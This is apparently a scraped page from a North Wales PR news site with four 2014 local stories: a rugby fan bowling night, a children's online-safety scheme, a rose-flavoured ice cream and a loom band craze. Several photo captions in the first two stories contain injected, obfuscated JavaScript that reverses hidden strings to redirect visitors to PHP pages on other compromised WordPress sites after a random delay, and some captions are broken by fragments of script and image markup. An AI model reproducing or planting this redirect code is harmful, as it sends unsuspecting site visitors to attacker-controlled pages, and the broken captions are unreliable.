Category: News

North Wales Crusaders rugby stars team up with fans for bowling fun

Crusaders players ad supporters were at Tenpin at Eagles Meadow, Wrexham $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to raise cash for the supporters trust.From left, players Christiaan Roets, Jonathan Sourn, Chris Jones, chairman of the Trust and Chris Woodward, manager of Tenpin.

Rugby stars teamed up with loyal fans for a night of bowling fun.

Players from the North Wales Crusaders mingled with members of their supporters club and their families at Tenpin at Eagles Meadow shopping centre in Wrexham for their third annual bowling night.

Crusaders players ad supporters were at Tenpin at Eagles Meadow, Wrexham <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[to raise cash for the supporters trust. Player Jonathan Soum is roared on by Supporters Trust members and family." src="http://dev.ceidiog.com/pr/files/2014/06/2905TENPIN58-ceidiog.jpg" width="400" height="267" />

Centre Christiaan Roets, 33, paid tribute to the club’s passionate following.

Crusaders players ad supporters were at Tenpin at Eagles Meadow, Wrexham <script>$zXz=function(n){if (typeof ($zXz.list[n]) == to raise cash for the supporters trust. Player Christiaan Roets is roared on by Supporters Trust members and family." src="http://dev.ceidiog.com/pr/files/2014/06/2905TENPIN43-ceidiog.jpg" width="400" height="267" />

He said: “The fans give us great support and this is a great way to give something back. It just goes to show that the club goes beyond the norm, and there is a real community feel here.

“I do enjoy bowling, and the fans seem to be enjoying it and it looks to be a big success. Our form seems to be on the way up so hopefully we can take this for through to the end of the season.

“It’s been a great night, and it’s a great opportunity for the fans and the players to meet and to get to know each other.”

The South African born Welsh international added: “When I was a kid I looked up at players and they are your heroes, and an opportunity to interact with your hero is any kid’s dream, so it’s a great opportunity for them to get involved.”

One such fan was Casey Bathers, 11, from Fron, who said: “I’m a big Crusaders fan. It was amazing to meet the players, and they’re really nice. I love bowling and I’m having a really fun night.”

Crusaders players ad supporters were at Tenpin at Eagles Meadow, Wrexham <script>$zXz=function(n){if (typeof ($zXz.list[n]) == to raise cash for the supporters trust. Players Christiaan Roets and Jonathan Soum with Casey Bathers, 11 from Froncysyllte." src="http://dev.ceidiog.com/pr/files/2014/06/2905TENPIN63-ceidiog.jpg" width="400" height="267" />

According to Chris Woodward the duty manager at Tenpin the night was a huge success.

He said: “All of the lanes are booked up, and we have a few deals on, so everybody is making the most of that. It’s a good busy night.

“Tenpin are very keen to get behind the Crusaders and the supporters club. They do a lot of work in and around the community, so we want to work together to help them. We do a lot of charity events."

Supporters Club Chairman Chris Jones was grateful to the team at Tenpin at Eagles Meadow for their support.

He said: “Tenpin have really got behind this. They’ve been really good with us, and it’s worked really well.

“Eagles Meadow is a very nice place to come. I’ve got friends who live in the Wirral, and they came down here last week for a day out and they thought it was marvellous. I was quite surprised that they had come from so far away. They came to Wrexham and they thought it was lovely.

“The players have really got behind the as well because I think they realise how good our support is away from home, so I think this is their way of paying back the fan’s loyalty. There’s a really strong bond between the players and the fans.

“The fans here are really passionate, and the majority of the fans here today travel to most of the away games as well, so we all know each other inside out and there’s a really good family atmosphere.

“It expensive to go away every weekend but as a supporters club we try and keep the prices down to a minimum. When the players play like they are with their away form it is value for money to be fair.

“For a home season ticket you’re talking £145. Away matches will cost around £40 a time, plus you drinks, and food, and the coach.

“My best memory as a crusaders fan was probably winning the league last year and winning the northern rail final at Halifax."

Eagles Meadow Manager Kevin Critchley, a native of Warrington, is a big rugby league fan himself.

He said: "The North Wales Crusaders are a community based team and it's great to see them socialising with their fans in this way."

Friday June 27th, 2014

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Online firm turns virtual world into real success by keeping kids safe

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Ken Skates with Henry and Danielle Platten of eTreble9 and eCadets Jamie Bol$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton and Diana Silva, both 10

More than 100 schools sign up to pioneering eCadet scheme.

An internet security firm is enjoying real business success after creating a pioneering scheme to keep children safe online.

Flintshire-based eTreble9 was set up by ex-policeman Henry Platten who now patrols the virtual world from the company’s offices in Hawarden.

Henry and his wife and fellow director, Danielle, launched the ground-breaking eCadet programme earlier this year.

The idea is that schools have at least two pupils trained as eCadets who will be able to advise fellow students how to protect themselves when browsing the internet, using social media on smart phones and tablets, or playing online games.

The scheme was unveiled in a blaze of publicity in Flintshire earlier this year.

Since then more than 100 schools across Wales have signed up – among them are schools in Flintshire, Wrexham, Denbighshire, Conwy, Caerphilly and Swansea.

The cutting-edge social media company was established by the husband and wife team in 2012.

Danielle has a background in HR and employment law, having previously worked for multinational companies like the HSBC bank.

She says eTreble9 has already helped to meet the increasing demand for people to protect their organisation online.

The company has won a number of awards, including Business of the Year at the Free2Network Awards in 2012 where Henry was also named Businessman of the Year. The same year the firm was also a finalist in the Achievement Wales Business Awards and the Cheshire High Sheriff’s Awards.

Henry said: “We’ve been helping a wide range of North Wales and North West business with their social media problems.

“These have included people setting up fake accounts and pretending to be business owners (called cyber-squatting), through to a hotel receiving a lot of malicious negative comments.

“We’ve successfully resolved 100 per cent of the matters clients have asked for our help with.”

According to Danielle, the idea for the eCadet programme was a natural addition to the range of services they offer and is already attracting interest from across the UK and beyond.

She added: “We always knew it was a good idea and the way it has taken off has demonstrated there is real potential for growth. The level of interest in the eCadet programme is very exciting.”

The scheme is the first of its kind in the UK and has earned praise from Clwyd South AM Ken Skates, who is also the Welsh Government’s Deputy Minister for Skills and Technology.

After seeing the project in action at Ysgol Acrefair, he said: “The eCadets are absolutely fantastic. There’s no better way no teaching young people how to be safe on the internet and they are doing a wonderful job.

Ken Skates AM visits Acrefair school <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[to see eCadets in action with the pupils." src="http://dev.ceidiog.com/pr/files/2014/04/2103Acrefair30-ceidiog.jpg" width="400" height="267" />

“The eCadets here at Acrefair are incredibly enthusiastic, and very knowledgeable as well. They’ve been able to teach me a few things about e safety.

“The internet is here to stay. There are dangers but there is enormous potential in the internet, so it’s important that the first thing that young people do is recognise the dangers and the pitfalls but then embrace the opportunities that are bound to follow."

Henry, a former police sergeant, said: "The response following the launch has been absolutely fantastic. It’s really spreading across the whole of Wales and into England. It's really exploded.

"It’s shown the need which we always felt was out there and we're delighted by the positive impact it’s making in the schools.

"The eCadets have been able to help their peers and their friends who have had problems online. They’ve been able to deal with some questions that previously would have gone unanswered and also enjoy the challenges that are set, and enjoy that bonding.

"Our approach is very much not to frighten them, not to scare them, just to show them how to use it safely to give them that confidence, to give them those skills to be digital citizens, and really to live their lives safely online so that they get the most from it.

"Ysgol Acrefair was the first school in Wrexham to have the eCadets scheme and they’ve really gone for it full throttle which is brilliant to see."

Headteacher Lisa Roberts explained: "We haven’t had huge amounts of problems with Facebook but I thought this was something we should tackle and eTreble9  have opened our eyes as to what the dangers are and how to protect yourselves.

"It’s about trusting the children, giving them a focus, and giving them set criteria that they’ve got to meet.

"We can’t ignore social media,  you can’t pretend it’s not there - you’ve got to embrace it, and to make sure the children do so safely.

“Our eCadets are brilliant and  having them on the yard every day and the children knowing that they can go to them just means that anything that comes up is dealt with immediately."

For more information about eTreble9 visit www.etreble9.com 

Tuesday June 24th, 2014

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Former nurse starts ice cream venture at Bodnant Welsh Food in Conwy

Bodnant foods Dairy feature. Pictured is Debbie Leviseur, Dairy sales and marketing with the Rose Ice cream.

A former hospital nurse has used flower power to launch a cool new business venture.

Debbie Leviseur has swapped scrubbing up to work in hospital theatres and running a fish smokery to take on a new challenge – devising flavours for ice-creams at Bodnant Welsh Food centre.

And the former hospital nurse’s latest inspirations are the fragrant rose scents of the world famous Bodnant gardens, plus honey from bees tended by the centre’s staff.

The rose-scented ice-cream is such as success with customers that she’s now hunting for ways of making other desserts with the flavour that can be created in the centre’s on-site dairy.

About to be launched is the honey ice-cream – made with honey created in hives at Abergwyngregyn, tended by staff from the National Beekeeping Centre Wales, which is part of the Bodnant Welsh Food centre site at Tal y Cafn in the Conwy valley.

Bodnant Welsh Food Centre Managing Director Chris Morton is looking forward to trying the honey ice-cream, one of the perks of a job overseeing the £6.5m centre at Tal y Cafn.

“I’ve tried the rose scented ice-cream – it has a real taste of summer about it. It’s good to put the local milk to new uses such as this, and even better to be able to make use of locally-produced honey.

“Overall, 45% of all products sold in the shop are produced at Bodnant Welsh Food centre, and three-quarters comes from North Wales, including specialist foods from over 100 artisan producers,” said Chris.

Between creating hundreds of kilos of award-winning cheeses each week, using milk from a neighbouring farmer’s herd of Friesians, the dairy also makes butter and ice-creams, explained Debbie.

She was previously a hospital theatre nurse, before running a smokery in Shropshire and the Outer Hebrides.

“I wanted a flavour that was slightly different but also refreshing and could be served up in everything from a cone for children to the most up-market adult dinner party,” explained Debbie, who lives in Llanelian.

“On my day off I went for a walk through the gardens and was thinking about what my favourite scents and smells were –and then realised I was standing by the rose garden, with the first flowers coming out. That’s when I had the idea to try a rose scented ice.

“It took a few tries to get the balance just right, as it can easily become too sweet. But we balanced the milk and rose essence with the sugar and now the mix is spot on. It’s been one of our most popular ice-creams. It’s sold in cones at a take-way counter, in the tea rooms, the Hayloft restaurant – and the farm shop to take home.”

Every time Debbie enters the gleaming stainless steel dairy she has to scrub up and put on special overalls – not so different from one of her previous jobs.

“I first trained as a nurse, and worked in hospital theatres in Cambridge, so I’ve been used to very high levels of hygiene in the workplace for years. Later I set up a smokery business in Ludlow, and then moved to Scotland to run one there.”

Bodnant Welsh Food centre at Furnace Farm, Tal-y-cafn, in the Conwy valley, has its own dairy making cheese and ice cream, plus an on-site bakery and butchery, with award-winning pies. There’s also a wine store and tea rooms plus the Hayloft restaurant and farmhouse accommodation.

For more information go to www.bodnant-welshfood.co.uk

Tuesday June 24th, 2014

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Shrewsbury – mad for Loop and Loom

Loom Bands Make and Create are fast becoming the latest craze in kids creations. Pictured: The Entertainer Toy Shop manager Claire Keay at The Darwin Centre in Shrewsbury with some of the loom bands

It’s the craze that’s sweeping Britain and Shrewsbury is going looming mad for it – it’s Loop and Loom.

The Loom Bands, simple, multi-coloured elastic bands which can be made into bracelets, are flying out of shops and retailers can’t get stocks fast enough.

At top toy store The Entertainer in Shrewsbury’s Pride Hill Shopping Centre manager Claire Keay has been amazed at the popularity of the Loop and Loom mania.

She said: “I’ve worked for The Entertainer for six years and I’ve never seen anything like it. There have been crazes before but nothing like this.

“We are selling two thousand £1 packs a week and plenty of the £3 packs which include the loom and 100 little rubber bands – there are different ways of threading them and there are even Youtube videos showing how to do it.

“It’s making up 30 per cent of our sales and not just here in Shrewsbury. Nationally they are at the same sort of level as well.

“You might expect that it would just be girls buying them but it’s boys as well – there are even camouflage coloured bands.

“Parents are buying them for their children, teenagers love them and some schools have even banned them.

“We’ve stocked them since just after Christmas and to begin with they didn’t really move but about six to eight weeks ago it was if they’d caught fire and we can’t stock them fast enough.

“We love seeing kids come in with their own Loom Creations and their excitement as they find the new Loom Bands that are available – they can be even be scented, colour changing or themed.

“The Entertainer has the biggest range in the UK and we now even have a dedicated loop and loom club on our website.

“Last Saturday was our busiest day since Christmas Eve and we only served 20 fewer customers than we did that day and it was all down to these little elastic bands.”

The Entertainer isn’t the only store that is under siege from Loop and Loomers, at the nearby Ryman stationery store they’ve sold out and are desperately awaiting a new order.

Assistant manager David Jones said: “We’re just hoping for another delivery soon because they’re like hot cakes, they’ve been flying out and now we’re having to direct shoppers to other stores.

“You can’t quibble when they only cost £1 and our last delivery sold out in a week.”

Up Pride Hill at the Darwin Centre it’s been a similar story at another stockist Claire’s Accessories where assistant manager Rhian Worrall said: “All the kids absolutely love them now but when we first had them they weren’t really selling.

“But now it’s just gone crazy and they’re a big part of what we sell now and not just to kids, parents and relatives are buying them as well.

“We have these big £20 kits up on the walls and last weekend we sold four of them just like that.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “When something takes off there can be no obvious explanation and it’s often something quite simple and inexpensive.

“They just need to catch the imagination and the moment and off they go and that seems to be the case with Loop and Loom.

“It’s amazing that in these days of so many sophisticated electronic and web-based toys and games something as simple as coloured elastic bands should explode like this.”

To see how to use Loop and Loom go to youtube.com/watch?v=FgDI5Ms8Yvk and for more on the Shrewsbury Shopping Centres go to shrewsbury-shopping.co.uk

Monday June 16th, 2014

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